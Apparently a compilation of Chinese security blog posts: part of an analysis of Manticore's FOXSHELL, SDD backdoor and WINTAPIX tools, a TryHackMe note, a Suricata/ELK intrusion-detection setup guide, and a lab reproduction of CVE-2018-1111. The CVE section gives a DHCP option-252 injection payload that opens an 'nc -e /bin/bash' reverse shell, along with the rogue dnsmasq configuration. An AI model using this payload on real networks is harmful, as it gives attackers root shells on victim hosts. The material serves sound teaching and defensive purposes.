(Github上只有1.1a版本)。与开源版本相比,最重要的变化是通过使用预定义的字符串szEncryptionKey对数据进行异或处理并在末尾附加常量字符串K_SUFFIX来加密请求和响应: 攻击者使用的“Tunna 1.1g”代理中的加密功能 Tunna代理对数据的解密和加密 FOXSHELL: XORO版本 之后,代码被重构,失去了与Tunna的相似之处。我们将此版本和所有后续版本都称为FOXSHELL。下面的类结构在大多数FOXSHELL版本中仍然存在: FOXSHELL中的类 所有负责加密流量的功能都转移到一个单独的EncryptionModule类中。此类加载一个.NET DLL,该DLL嵌入FOXSHELL主体内的base64编码字符串中,并调用其加密和解密方法: web shell中base64编码的EncryptionDll EncryptionModule类负责加密和解密方法调用 嵌入式加密模块的名称是XORO.dll,它的类是Encryption.XORO实现解密和加密方法的方式与基于Tunna的web shell相同,使用相同的硬编码值: XORO.dll中的加密常量和解密函数 所有对web shell的请求也封装在一个名为Package的类中,该类处理不同的PackageTypes: Data、Config、OK、Dispose或Error。PackageType是由包的第一个字节定义的,根据包的类型,web shell解析包并应用配置(在配置中指定的远程计算机上打开一个新的套接字,如果提供的话,应用一个新的EncryptionDll),或者处理现有的套接字,或者如果包是Data类型代理连接: FOXSHELL中的包处理 FOXSHELL: Bsae64(非拼写错误)版本 这个版本的web shell仍然没有混淆,它的内部版本在代码中指定: web shell还包含嵌入的默认EncryptionDll。模块的名称是Base64.dll,加密类(拼写错误为Bsae64)公开了加密和解密方法。然而,两者都只是简单的base64编码: Base64.dll中的加密和解密方法 虽然这种简单的编码可以在web shell本身的代码中完成,但其他嵌入式dll的存在,如XORO.dll,以及在配置阶段提供另一个EncryptionDll的能力,意味着攻击者更喜欢控制他们在某些环境中默认使用的特定类型的加密。 这个版本中的其他变化是将PackageType配置重命名为RDPconfig,将ConfigPackage重命名为RDPConfigPackage,表明攻击者专注于代理RDP连接。这些类的代码保持不变: RDP Configuration类 最后,代码中的另一个条件处理web shell接收非空参数WV-RESET的情况,该参数调用函数关闭代理套接字并向攻击者发送OK响应: “Close proxy” WV-RESET参数 编译的FOXSHELL 除了针对中东之外,这个版本也于2021年5月针对阿尔巴尼亚发起攻击。通过利用一个面向internet的Microsoft SharePoint服务器,攻击者部署了ClientBin。在受攻击服务器上的Aspx来代理外部连接,从而进行横向攻击。 在发现的所有样本中,FOXHELL都被编译为DLL并嵌入到base64的基本web shell中。编译后的DLL将加载System.Reflection.Assembly.Load,则调用来自它的ProcessRequest方法。DLL是用.NET编写的,其名称模式为App_Web_ 加载App_Web_*.dll的web shell App_Web* DLL受到类和方法混淆的影响,所有字符串都使用Base64,第一个字节的异或和AES的组合加密如下: inchpublic函数,负责字符串加密,展示了方法和类的混淆 当web shell被编译成DLL时,它包含初始化存根,这确保web shell侦听正确的URI。在这种情况下,初始化发生在以下代码段: web shell App_Web_*.dll中的初始化存根 否则,去混淆后: 这个初始化将FOXSHELL设置为侦听相对路径~/1上的请求。研究发现,在涉及LIONTAIL的攻击的其他web shell中,它是一个未使用的工件。 在内部,DLL具有与以前版本相同的“1.5”版本的FOXSHELL,其中包括用于停止代理的WV-RESET参数和相同的默认Bsae64加密DLL。 基于IIS ServerManager和HTTPListener的独立后门 自2020年年中以来,除了FOXSHELL作为代理流量的手段外,我们还观察到了一个相当复杂的独立被动后门,它是用.NET编写的,旨在部署在IIS服务器上。它被类似于FOXSHELL的技术混淆,并伪装成System.Drawing.Design.dll。 C&C通信 SSD后门通过受感染计算机上的HTTP侦听器设置C&C通信。它是通过两个类实现的: ServerManager——.NET中System.Web.Administration命名空间的一部分,用于管理和配置Windows服务器上的Internet信息服务(IIS),例如获取配置、创建、修改或删除IIS站点、应用程序和应用程序池。 HTTPListener——.NET框架中的一个类,用于创建自定义HTTP服务器,独立于IIS并基于HTTP API。 ServerManager用于提取IIS服务器托管的网站,并构建要侦听的URL前缀的HashSet:: 构建URL前缀HashSet的angleoppose_river函数的混乱代码基于IIS服务器上配置的网站和绑定 本文的恶意软件示例中配置的唯一相对URI是Temporary_Listen_Addresses。然后恶意软件使用HttpListener类开始侦听指定的URL前缀: HttpListener启动代码 C&C命令执行 后门程序有几个功能:使用cmd.exe执行命令,上传和下载文件,使用指定参数执行进程以及运行其他.NET程序集。 SDD后门的请求handler 首先,如果POST请求主体包含数据,恶意软件会对其进行解析,并将消息作为其支持的4个命令之一进行处理。否则,如果请求包含参数Vet,恶意软件只需从base64中解码其值,并用cmd/c执行。如果这些都不是真的,那么恶意软件会处理心跳机制,如果请求URL包含小写的字符串wOxhuoSBgpGcnLQZxipa,则恶意软件会发回UsEPTIkCRUwarKZfRnyjcG13DFA以及200 OK响应。 POST请求中的数据使用Base64和简单的基于异或处理的加密进行加密: 命令解密算法 在解密消息的数据后,恶意软件会按照以下顺序对其进行解析: 处理可能的SDD后门命令类型的开关 由攻击者命名的命令,包括: " Command " -使用指定参数执行进程。在该样本中,将解析数据以提取进程名称及其参数; “Upload”—将文件上传到受攻击系统的指定路径; “Download”-将指定的文件发送给攻击者; “Rundll”-加载程序集并使用指定参数运行它。 响应数据的构建方式与请求相同(返回命令类型、命令名称和输出),然后使用与请求相同的基于XOR的算法进行加密。 WINTAPIX驱动程序 最近,Fortinet披露了一系列针对中东目标的攻击,这些攻击涉及内核模式驱动程序,研究人员将其命名为WINTAPIX。尽管安装驱动程序的确切感染链尚不清楚,但它们仅针对IIS服务器,因为它们使用IIS ServerManager对象。高级执行流程如下: 1.WINTAPIX驱动程序在内核中加载; 2.WINTAPIX驱动程序枚举用户模式进程,以查找具有本地系统权限的合适进程; 3.WINTAPIX驱动程序将嵌入的shellcode注入到先前找到的进程中,shellcode是使用开源的Donut项目生成的,这允许创建能够从内存加载和执行.NET程序集的与位置无关的shellcode。 4.注入的shellcode加载并执行加密的.NET 负载。 最后的有效负载除了已经熟悉的类、方法和字符串混淆之外,还使用商业混淆器进行混淆,并且它结合了SDD后门和FOXSHELL代理的功能。为了实现这两个目标,它侦听两组URL前缀,使用ServerManager和HTTPListener,类似于SSD后门。 驱动程序负载中使用的FOXSHELL版本设置为1.7。在这个版本中引入的主要增强是使用挂起EventLog Service线程的已知技术来绕过事件日志。在驱动程序中硬编码的默认EncryptionDll是相同的Bsae64.dll,与FOXSHELL 1.5版本相比,核心代理结构还与原来一样。 .NET 负载中硬编码的版本 FOXSHELL 1.7类结构 由于已经提供了对WINTAPIX驱动程序及其版本SRVNET2的广泛分析,我们只强调它们与其他讨论的工具之间的主要重叠部分,它们之间的联系如下: 1.与SDD后门相同的代码库,包括基于相同字符串值wOxhuoSBgpGcnLQZxipa和UsEPTIkCRUwarKZfRnyjcG13DFA的心跳; 2.支持相同的后门命令类型,使用相同的密钥进行加密; 3.与FOXSHELL相同的代码库、结构和功能; 4.使用相同的混淆和加密方法。 LIONTAIL框架组件与FOXSHELL、SDD后门和WINTAPIX驱动程序共享类似的混淆和字符串工件。目前,我们不知道有任何其他攻击者利用这些工具,我们根据多个代码重叠和共享的受害者特征将它们全部归因于Manticore。 总结 在过去的几年里,Manticore被观察到在中东地区进行了频繁活动,包括获得该地区电信和政府组织的访问权限,并维持和利用这种访问权限几个月来系统地从受害者的系统中窃取数据。分析他们的活动历史可以发现,攻击者一直在改进攻击方法。 虽然LIONTAIL代表了FOXSHELL迭代的逻辑进展,并且仍然具有一些独特的特征,使我们能够将涉及LIONTAIL的攻击归因于Manticore。LIONTAIL框架不再依赖于Internet Information Services (IIS)、它的模块或. net框架提供的任何其他选项和库来以编程方式管理IIS。相反,它通过直接与HTTP.sys驱动程序交互来利用最低级别的Windows HTTP堆栈。此外,它允许攻击者自定义植入程序、配置参数和加载程序的文件传递类型,这些都增强了植入程序的隐身能力,使其能够长时间躲避检测。预计“Manticore”活动将会更加活跃,并可能蔓延到其他地区。
-
[Thm]子域枚举&&IDOR未授权访问房间答案笔记
前言 比较基础,打一遍更好理解原理和巩固基础 子域的话推荐fofa以及奇安信方便一些 也有子域名爆破工具 IDOR的话引进入门也挺好的 https://tryhackme.com/room/subdomainenumeration https://tryhackme.com/room/idor 没事刷刷榜,沉淀沉淀准备刷漏洞盒子的公益SRC的榜单了 笔记 IDOR未授权访问
-
开源入侵检测系统SELKS系统搭建
一、系统环境配置 系统环境:centos7x64 ip地址:172.16.91.130 1.设置静态IP地址 [root@localhost backlion]#vi /etc/sysconfig/network-scripts/ifcfg-* BOOTPROTO=static #dhcp改为static(修改) ONBOOT=yes #开机启用本配置,一般在最后一行(修改) IPADDR=172.16.91.130 #静态IP(增加) GATEWAY=172.168.91.1 #默认网关,虚拟机安装的话,通常是2,也就是VMnet8的网关设置(增加) NETMASK=255.255.255.0 #子网掩码(增加) DNS1=172.16.95.70 #DNS 配置,虚拟机安装的话,DNS就网关就行,多个DNS网址的话再增加(增加) [root@localhost ~]# /etc/init.d/network restart 设置DNS: Vim /etc/resolv.conf nameserver=114.114.114.114 nameserver=8.8.8.8 2.设置主机名 [root@localhost network-scripts]# hostnamectl set-hostname selks-server.com vim /etc/hosts最后加上你的IP与主机名的绑定 127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4 ::1 localhost localhost.localdomain localhost6 localhost6.localdomain6 172.16.91.121 elk-server.com elk#其中最后是主机名的别名 主机名:内网名字 域名:公网名字 主机名不能是localhost 绑定主机名就相当于内网的dns,非常重要。 3.关闭防火墙 [root@selks-server ~]# cat /etc/selinux/config # This file controls the state of SELinux on the system. # SELINUX= can take one of these three values: #enforcing - SELinux security policy is enforced. #permissive - SELinux prints warnings instead of enforcing. #disabled - No SELinux policy is loaded. SELINUX=disabled # SELINUXTYPE= can take one of three two values: #targeted - Targeted processes are protected, #minimum - Modification of targeted policy. Only selected processes are protected. #mls - Multi Level Security protection. SELINUXTYPE=targeted 或者 [root@localhost ~]# sed -i 7s/enforcing/disabled/ /etc/selinux/config 关闭firewall: [root@selks-server ~]# systemctl stop firewalld.service #停止firewall [root@selks-server ~]# systemctl disable firewalld.service #禁止firewall开机启动 [root@localhost ~]# systemctl list-unit-files |grep firewalld #查看是否随机启动firewall 4. 安装wget [root@selks-server ~]# yum install wget –y 5.更换yum源 更换成阿里云源,更新系统、下载软件速度快4 [root@selks-server ~]#yum install wget [root@selks-server ~]# mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup [root@selks-server ~]# wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo [root@selks-server ~]# yum clean all [root@selks-server ~]# yum makecache 6.更新系统 [root@selks-server ~]# yum -y update 7.安装epel源 [root@selks-server rules]# yum -y install epel-release 8.时间同步 [root@localhost yum.repos.d]# yum -y install ntp ntpdate #安装ntp时间同步相关软件包 [root@localhost yum.repos.d]#cat /etc/ntp.conf #确认配置文件里有下列的时间同步源 server 0.rhel.pool.ntp.org iburst server 1.rhel.pool.ntp.org iburst server 2.rhel.pool.ntp.org iburst server 3.rhel.pool.ntp.org iburst [root@localhost yum.repos.d]# systemctl enable ntpd #设置开机自动启动ntpd [root@localhost yum.repos.d]# systemctl start ntpd #立即启动ntpd服务 [root@localhost yum.repos.d]# cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime [root@localhost yum.repos.d]#date #确认时间与现在时间一致 9.添加路由 用法:route add -net|-host DEST gw NEXTHOP route add -net 10.0.0.0/8 gw 192.168.10.1 #添加路由 route add default gw 192.168.10.1 #添加一条默认路由 永久添加/删除关于某个网卡的路由:编辑/etc/network-scripts/route-INTERFACE_NAME vim /etc/network-scripts/route-eth0 ADDRESS0=222.16.60.148 NETMASK0=255.255.255.0 NEXTHOP0=222.16.60.254 ADDRESS1=222.16.60.214 NETMASK1=255.255.255.0 NEXTHOP1=222.16.60.254 二、安装Suricata 1.安装依赖包 [root@selks-server ~]# yum install wget libpcap-devel libnet-devel pcre-devel gcc-c++ automake autoconf libtool make libyaml-devel zlib-devel file-devel jansson-devel nss-devel 2.下载解压Suricata 下载最新安装包http://suricata-ids.org/download/(截至18年6月14日,最新版本为4.0.4) [root@selks-server ~]# wget http://www.openinfosecfoundation.org/download/suricata-4.0.4.tar.gz [root@selks-server ~]# tar zxvf suricata-4.0.4.tar.gz [root@selks-server ~]# cd suricata-4.0.4 3.编译安装 [root@selks-server ~]#./configure && make && make install-full 注意: 默认从http://rules.emergingthreats.net/社区下载可用的社区规则集快照,并且将其存储在/usr/local/etc/suricata/rules目录下。 suricata配置文件路径为: /usr/local/etc/suricata/suricata.yaml 4.配置suricata 请注意:不管使用哪个端口, Suricata都能自动检测HTTP流量。所以,正确指定HTTP_PORTS变量并不是很重要。命令如下: [root@selks-server ~]# vim /usr/local/etc/suricata/suricata.yaml #Suricata 的配置文件默认在 /etc/suricata/suricata.yaml,在启动前我们需要先配置好一些重要的变量,其中变量分为两组,一个是地址组(address-groups),另一个是端口组(port-groups)。示例配置文件如下 注意:如果HOME_NET设置了any,EXTERNAL_NET设置!HOME_NET的话会报错,如果HOME_NET设置了内网地址,EXTERNAL_NET设置为!$HOME_NET的话,有些内网之间的告警就无法匹配到 address-groups: #配置地址组 HOME_NET: "[192.168.0.0/16,10.0.0.0/8,172.16.0.0/12]" #指定 Suricata 检查的网络 #HOME_NET: "[192.168.0.0/16]" #HOME_NET: "[10.0.0.0/8]" #HOME_NET: "[172.16.0.0/12]" #HOME_NET: "any" #EXTERNAL_NET: "!$HOME_NET" EXTERNAL_NET: "any" #设置出本地以外的其他网络地址 HTTP_SERVERS: "$HOME_NET" SMTP_SERVERS: "$HOME_NET" SQL_SERVERS: "$HOME_NET" DNS_SERVERS: "$HOME_NET" TELNET_SERVERS: "$HOME_NET" AIM_SERVERS: "$EXTERNAL_NET" DNP3_SERVER: "$HOME_NET" DNP3_CLIENT: "$HOME_NET" MODBUS_CLIENT: "$HOME_NET" MODBUS_SERVER: "$HOME_NET" ENIP_CLIENT: "$HOME_NET" ENIP_SERVER: "$HOME_NET" port-groups: HTTP_PORTS: "80" #来辨别不同服务所用到的端口号 SHELLCODE_PORTS: "!80" ORACLE_PORTS: 1521 SSH_PORTS: 22 DNP3_PORTS: 20000 MODBUS_PORTS: 502 FILE_DATA_PORTS: "[$HTTP_PORTS,110,143]" FTP_PORTS: 21 ## Step 2: select the rules to enable or disable ## default-rule-path: /usr/local/etc/suricata/rules #设置默认的规则库路径地址 rule-files: - botcc.rules # - botcc.portgrouped.rules - ciarmy.rules - compromised.rules - drop.rules - dshield.rules # - emerging-activex.rules - emerging-attack_response.rules - emerging-chat.rules - emerging-current_events.rules - emerging-dns.rules - emerging-dos.rules - emerging-exploit.rules - emerging-ftp.rules # - emerging-games.rules # - emerging-icmp_info.rules # - emerging-icmp.rules - emerging-imap.rules # - emerging-inappropriate.rules # - emerging-info.rules - emerging-malware.rules - emerging-misc.rules - emerging-mobile_malware.rules - emerging-netbios.rules - emerging-p2p.rules - emerging-policy.rules - emerging-pop3.rules - emerging-rpc.rules # - emerging-scada.rules # - emerging-scada_special.rules - emerging-scan.rules # - emerging-shellcode.rules - emerging-smtp.rules - emerging-snmp.rules - emerging-sql.rules - emerging-telnet.rules - emerging-tftp.rules - emerging-trojan.rules - emerging-user_agents.rules - emerging-voip.rules - emerging-web_client.rules - emerging-web_server.rules # - emerging-web_specific_apps.rules - emerging-worm.rules - tor.rules # - decoder-events.rules # available in suricata sources under rules dir # - stream-events.rules # available in suricata sources under rules dir - http-events.rules # available in suricata sources under rules dir - smtp-events.rules # available in suricata sources under rules dir - dns-events.rules # available in suricata sources under rules dir - tls-events.rules # available in suricata sources under rules dir # - modbus-events.rules # available in suricata sources under rules dir # - app-layer-events.rules # available in suricata sources under rules dir # - dnp3-events.rules # available in suricata sources under rules dir # - ntp-events.rules # available in suricata sources under rules dir classification-file: /usr/local/etc/suricata/classification.config reference-config-file: /usr/local/etc/suricata/reference.config threshold-file: /usr/local/etc/suricata/threshold.config ## ## Step 3: select outputs to enable ## types: - alert: # payload: yes # enable dumping payload in Base64 payload-buffer-size: 6kb # max size of payload buffer to output in eve-log paylaod大小限制 payload-printable: yes # enable dumping payload in printable (lossy) format 记录原始payload # packet: yes # enable dumping of packet (without stream segments) # http-body: yes # enable dumping of http body in Base64 http-body-printable: yes # enable dumping of http body in printable format 记录http 原始响 metadata: yes # add L7/applayer fields, flowbit and other vars to the alert # pattern matcher buffers and scans as many packets as possible in parallel. max-pending-packets: 1024 #设置了suricata能够同时处理的数据包的数量,最少为1,最大值取决于内存的大小,更大的内存可以设置更大的值并拥有更好的性能,默认值是1024 部分用于防御利用操作系统网络栈的自身行为来逃避检测的一些知名攻击手段(例如:TCP reassembly)。作为对策,通过针对目标操作系统而对检测引擎算法进行微调,现代 IDC 提供了“基于目标”的检测手段。因此,如果你知道某台主机运行了什么操作系统的话,将这个信息提供给 Suricata 就可以大幅提高检测的成功率。这就是 host-os-policy 存在的意义。本例中,默认的 IDC 策略是 Linux 系统。如果针对某个 IP 地址没有指定操作系统信息,Suricata 会默认应用基于 Linux 系统的检测策略。如下,当捕获到对 192.168.122.0/28 和 192.168.122.155通讯时,Suricata 就会应用基于 Windows 系统的检测策略。 host-os-policy: # Make the default policy windows. windows: [10.22.0.0/24] bsd: [] bsd-right: [] old-linux: [] linux: [0.0.0.0/0,10.22.0.188] old-solaris: [] solaris: [] hpux10: [] hpux11: [] irix: [] macos: [] vista: [] windows2k3: [] 5.关闭网卡LGO/GRO功能(网卡名结合实际修改) [root@selks-server ~]# ethtool -K ens32 gro off lro off Cannot change large-receive-offload(说明你的网卡不支持LRO/GRO功能,忽略即可) 6.查看所有可用的运行模式 [root@selks-server ~]# /usr/local/bin/suricata --list-runmodes 7.运行Suricata [root@selks-server ~]# /usr/local/bin/suricata -c /usr/local/etc/suricata/suricata.yaml -i ens33 --init-errors-fatal & 其中: -c用来指定配置文件 -i 说明以 IDS 模式运行 Ens33 说明让 Suricata 监听 ens33 端口 其中检测日志默认为 fast.log在/usr/local/var/log/suricata/fast.log,同时还有json格式方便导入,位置是/usr/local/var/log/suricata/eve.json 注意: 启动命令: [root@selks-server ~]# ethtool -K ens33 gro off lro off #ens33就是所需要监控的网卡地址 [root@selks-server ~]# /usr/local/bin/suricata -c /usr/local/etc/suricata/suricata.yaml -i ens33 --init-errors-fatal & 三、安装ELK 相关软件请到Elasticsearch官方网站下载 Elasticsearch6.2.0下载 Logstash6.2.0下载 Kibana6.2.0下载 1.安装elasticsearch [root@selks-server ~]# wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.2.0.rpm [root@selks-server ~]# chmod +x elasticsearch-6.2.0.rpm [root@selks-server ~]# rpm -ivh elasticsearch-6.2.0.rpm [root@selks-server ~]# systemctl daemon-reload [root@selks-server ~]# systemctl enable elasticsearch.service [root@selks-server ~]# systemctl start elasticsearch.service 访问本地9200端口,出现如下内容说明Elasticsearch安装成功 [root@selks-server ~]# curl 127.0.0.1:9200 { "name" : "79TP4oM", "cluster_name" : "elasticsearch", "cluster_uuid" : "9cxWmy3fQvmgiPRTtGYaZg", "version" : { "number" : "6.2.0", "build_hash" : "37cdac1", "build_date" : "2018-02-01T17:31:12.527918Z", "build_snapshot" : false, "lucene_version" : "7.2.1", "minimum_wire_compatibility_version" : "5.6.0", "minimum_index_compatibility_version" : "5.0.0" }, "tagline" : "You Know, for Search" } 2.安装logstash [root@selks-server ~]# wget https://artifacts.elastic.co/downloads/logstash/logstash-6.2.0.rpm [root@selks-server ~]# chmod +x logstash-6.2.0.rpm [root@selks-server ~]# rpm -ivh logstash-6.2.0.rpm 添加logstash过滤规则 vim /etc/logstash/conf.d/logstash.conf input { file { path => ["/usr/local/var/log/suricata/eve.json "] codec =>"json" type => "SuricataIDPS" } } filter { if [type] == "SuricataIDPS" { date { match => [ "timestamp", "ISO8601" ] } ruby { code => " if event.get('[event_type]') == 'fileinfo' event.set('[fileinfo][type]', event.get('[fileinfo][magic]').to_s.split(',')[0]) end " } ruby{ code => " if event.get('[event_type]') == 'alert' sp = event.get('[alert][signature]').to_s.split(' group ') if (sp.length == 2) and /\A\d+\z/.match(sp[1]) event.set('[alert][signature]', sp[0]) end end " } } if [src_ip] { geoip { source => "src_ip" target => "geoip" #database => "/opt/logstash/vendor/geoip/GeoLiteCity.dat" add_field => [ "[geoip][coordinates]", "%{[geoip][longitude]}" ] add_field => [ "[geoip][coordinates]", "%{[geoip][latitude]}" ] } mutate { convert => [ "[geoip][coordinates]", "float" ] } if ![geoip.ip] { if [dest_ip] { geoip { source => "dest_ip" target => "geoip" #database => "/opt/logstash/vendor/geoip/GeoLiteCity.dat" add_field => [ "[geoip][coordinates]", "%{[geoip][longitude]}" ] add_field => [ "[geoip][coordinates]", "%{[geoip][latitude]}" ] } mutate { convert => [ "[geoip][coordinates]", "float" ] } } } } } output { elasticsearch { hosts => "localhost:9200" } } [root@selks-server ~]# systemctl enable logstash.service [root@selks-server ~]# chmod 775 /usr/local/var/log/suricata/eve.json [root@selks-server ~]# systemctl start logstash.service 3.安装kibana [root@selks-server ~]# wget https://artifacts.elastic.co/downloads/kibana/kibana-6.2.0-x86_64.rpm [root@selks-server ~]#chmod +x kibana-6.2.0-x86_64.rpm [root@selks-server ~]#rpm -ivh kibana-6.2.0-x86_64.rpm 修改kibana允许访问的主机范围、默认只允许本地访问 vim /etc/kibana/kibana.yml server.host: "0.0.0.0" systemctl start kibana.service systemctl enable kibana.service 浏览器访问IP:5601,进入Kibana,这里应该会要求设置一个索引,这里使用logstash-* 最终访问界面: 附录Suricata规则详解 ==botcc.portgrouped.rules botcc.rules== 这些是已知和确认的活动僵尸网络和其C&C(command and control)服务器。由一些组织生成,每日更新。 ==ciarmy.rules== 封锁被ciArmy.com标记出来的Top Attackers ==compromised.rules== 这是一个已知的受影响的主机列表,每天更新。 decoder-events.rules 解码器事件,里面包含了对解码器解码所产生的事件,比如包无效、包过大、过小等 dnp3-events.rules 包含对dnp3(分布式网络协议)的一些规则,不多,只有几条 dns-events.rules 包含对dns协议的一些规则,比如dnsflooded事件等,不多,只有几条 ==drop.rules== 每天更新的Spamhaus DROP(Don't Route or Peer)列表。列出了著名的、专业的垃圾邮件发送者。 ==dshield.rules== 每天更新的DShield top attackers。十分可靠。 emerging-activex.rules 主要用来检测与ActiveX控件有关的攻击 ==emerging-attack_response.rules== 这些规则是为了捕获成功攻击的结果,诸如“id=root”之类的东西,或者表示可能发生妥协的错误消息(即虽然产生了错误消息,但是攻击已经成功)。 emerging-chat.rules 主要检测聊天软件、即时通讯软件的攻击,大部分是国外的一些软件,比如facebook,雅虎,msn ==emerging-current_events.rules== 这些规则是不打算在规则集中长期保存的,或者是在被包含之前进行测试。大多数情况下,这些都是针对当天的大量二进制URL的简单sigs,用来捕获CLSID新发现的易受攻击的应用程序,我们没有这些漏洞的任何细节。这些sigs很有用,却不是长期有效的。 emerging-deleted.rules 里面都是被注释掉的规则,可能删除后的规则放在这里 emerging-dns.rules 检测dns协议相关的攻击 ==emerging-dos.rules== 目的是捕获入站的DOS(拒绝服务)活动和出站指示。 emerging-ftp.rules 检测ftp协议相关的攻击 ==emerging-games.rules== 魔兽世界、星际争霸和其他流行的在线游戏都在这里。我们不打算把这些东西贴上邪恶的标签,只是它们不适合所有的攻击环境,所以将它们放在了这里。 emerging-icmp_info.rules emerging-icmp.rules 检测与icmp协议相关的攻击 ==emerging-exploit.rules== 直接检测exploits(漏洞)的规则。如果你在寻找windows的漏洞等,他们会在这里被列出。就像sql注入一样,exploits有着自己的体系。 总之就是用来检测exploits漏洞的。 emerging-imap.rules 检测与imap相关的攻击 ==emerging-inappropriate.rules== 色情、儿童色情,你不应该在工作中访问的网站等等。WARNING:这些都大量使用了正则表达式,因此存在高负荷和频繁的误报问题。只有当你真正对这些规则感兴趣时才去运行这些规则。 emerging-info.rules 看了一些规则后,似乎是检测与信息泄露、信息盗取等事件的规则,里面会检测后门、特洛伊木马等与info相关的攻击 ==emerging-malware.rules== 我个人最喜欢的。这一套最初只是间谍软件,这就足够了。间谍软件和恶意软件之间的界限已经很模糊了。这里不仅仅是间谍软件,但是请放心,这里没有任何东西是你想在自己的网络或者PC上运行的。已知的更新模式、已知的恶意软件的UserAgent字符串和大量的其它有用的东西。如果你只准备运行一个规则集来保证安全性,这个规则集是首选。 emerging-misc.rules 检测混杂的攻击,这种攻击一般没有确切的分类,或者使用了多种技术 emerging-mobile_malware.rules 检测移动设备上的恶意软件 emerging-netbios.rules 检测与netbios有关的攻击 ==emerging-p2p.rules== P2P(Peer to Peer)之类的。我们并不想将它定义为有害的,只是不适合出现在IPS/IDS的网络环境中。 ==emerging-policy.rules== 对于经常被公司或组织政策禁止的事务的规则。Myspace、Ebay之类的东西。 emerging-pop3.rules 检测与pop3协议有关的攻击 emerging-rpc.rules 检测与rpc(远程过程调用协议)有关的攻击 emerging-scada.rules 检测与SCADA(数据采集与监控系统)相关的攻击 ==emerging-scan.rules== 检测探测行为。Nessus,Nikto,端口扫描等这样的活动。这是攻击前准备时期的警告。 emerging-shellcode.rules 检测shellcode,shellcode是一段用于利用软件漏洞而执行的代码,以其经常让攻击者获得shell而得名。 emerging-smtp.rules 检测与smtp协议相关的攻击 emerging-snmp.rules 检测与snmp协议相关的攻击 ==emerging-sql.rules== 这是一个巨大的规则集,用于捕获在特殊应用程序上的特殊攻击。这里面有一些普遍的SQL注入攻击规则,效果很好,可以捕获大多数攻击。 但是这些规则根据不同的app和不同的web服务器,有很大的差别。如果你需要运行非常严格的web服务或者很重视信息的安全性,请使用这个规则集。 emerging-telnet.rules 检测与telnet协议相关的攻击 emerging-tftp.rules 检测与tftp协议相关的攻击 emerging-trojan.rules 检测trojan木马 emerging-user_agents.rules 检测异常的user-agents ==emerging-voip.rules== 检测voip相关的异常,它是一个新兴的规则集,目前还很小,但是我们预计它很快就会增长。 emerging-web_client.rules 检测web客户端的攻击 emerging-web_server.rules 检测web服务端的攻击 emerging-web_specific_apps.rules 检测特殊的web应用程序的异常 emerging-worm.rules 检测蠕虫 modbus-events.rules 检测modbus事件 smtp-events.rulse 检测smtp事件 stream-events.rules 检测stream事件 tls-events.rules 检测tls事件 ==tor.rules== 检测使用tor进行匿名通信的流量,tor本身没有威胁,但却是很可以的行为 规则库更新管理 [root@selks-server rules]# yum installpython-pip python-yaml [root@selks-server rules]# pip install --pre --upgrade suricata-update [root@selks-server rules]#suricata-update <wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;"> 来自为知笔记(Wiz)
-
CVE-2018-1111劫持dhcp造成centos代码执行漏洞
0x01 漏洞概述 近日,红帽官方发布了安全更新,修复了编号为CVE-2018-1111的远程代码执行漏洞,攻击者可以通过伪造DHCP服务器发送响应包,攻击红帽系统,获取root权限并执行任意命令。 0x02 影响版本 Red Hat Enterprise Linux Server 6 Red Hat Enterprise Linux Server 7 CentOS 6 CentOS 7 0x03 漏洞详情 DHCP 是一个局域网的网络协议,主要用于内部网络动态IP地址分配。Red Hat提供的DHCP客户端软件包dhclient的脚本为/etc/NetworkManager/dispatcher.d/11-dhclient(Red Hat Enterprise Linux 7)和/etc/NetworkManager/dispatcher.d/10-dhclient(Red Hat Enterprise Linux 6);当NetworkManager组件从DHCP服务器收到DHCP响应时执行该脚本。 使用单引号使参数值逃逸成功,导致了命令执行 --dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #" 0x04 漏洞复现 复现时需要注意的点: 1.两台虚拟机的网络适配器都需要设置为 仅主机模式 2.停用主机模式的DHCP服务LS8 z( D/ M0 ~& J2 f9 l 环境 攻击机:kali 2018.2 受害机:centos7 去下载了清华镜像站里的centos 7 https://mirrors.tuna.tsinghua.edu.cn/centos/7.4.1708/isos/x86_64/CentOS-7-x86_64-DVD-1708.iso vmware12.0 设置网络 这里我用 vmware 虚拟机来实现,两个系统都是连接到 VMnet1 网卡上(仅主机模式),并且关闭网卡上的 DHCP 服务。 接着我们开始配置 kali 上的 dhcp 服务器,dnsmasq 是一个小巧且方便地用于配置 DNS 和 DHCP 的工具,适用于小型网络,它提供了 DNS 功能和可选择的 DHCP 功能,可以快速搭建一个 DNS 服务或者 DHCP 服务。 对kali做配置 先对kali下的ip进行静态配置并添加路由,命令如下: ifconfig eth0 192.168.71.5 netmask 255.255.255.0 route add default gw 192.168.71.5 首先我们创建一个 dnsmasq 需要使用到的配置文件 /etc/dnsmasq.conf,内容如下: Vim /etc/dnsmassq.conf bind-interfaces interface=eth0 except-interface=lo dhcp-range=192.168.71.10,192.168.71.30,22h dhcp-option=3,192.168.131.5 dhcp-option=6,192.168.131.5 log-queries log-facility=/var/log/dnsmasq.log 参数解释: dhcp-range: 表示要分配给客户机的 ip 地址范围和租约时间 dhcp-option: 表示指定给 DHCP 客户端的选项信息 log-facility: 表示日志记录器 其中配置文件中包括的 option 取值及含义如下: 3: 设置网关地址选项 6: 设置 DNS 服务器地址选项 252: 为 DHCP 客户端提供了一个用于配置其代理设置的 URL,wpad-proxy-url payload 中涉及到的 option 252 是私人使用保留部分的一部分, 为 dhcp 服务器使用 252,然后在他们的浏览器中写入与 dhcp 服务器交谈的能力,并要求代码 252 从该选项列出的 URL 中获取关于网络上代理设置的信息。 这里 dnsmasq.conf 中的 dhcp-range 我设置 为 192.168.71.10-192.168.71.30/24 这个 ip 地址范围,租约时间为 12h。 dhcp-option 3 网关地址和 dhcp-option6 DNS 服务器均设置为 kali 本地网卡的 ip 地址,kali 的 ip 地址为静态 ip。修改好 /etc/dnsmasq.conf 配置文件之后,还不能直接启动 dnsmasq 服务。 利用dnsmasq伪造dns服务器,命令执行 payload 如下: dnsmasq -dC dnsmasq.conf --dhcp-option="252,malayke'&nc -e /bin/bash 192.168.71.5 6666 #" 这里的 -d 表示调试模式,-C 表示指定配置文件运行 dnsmasq 服务,更多有关 dnsmasq 的命令详解可以用 man 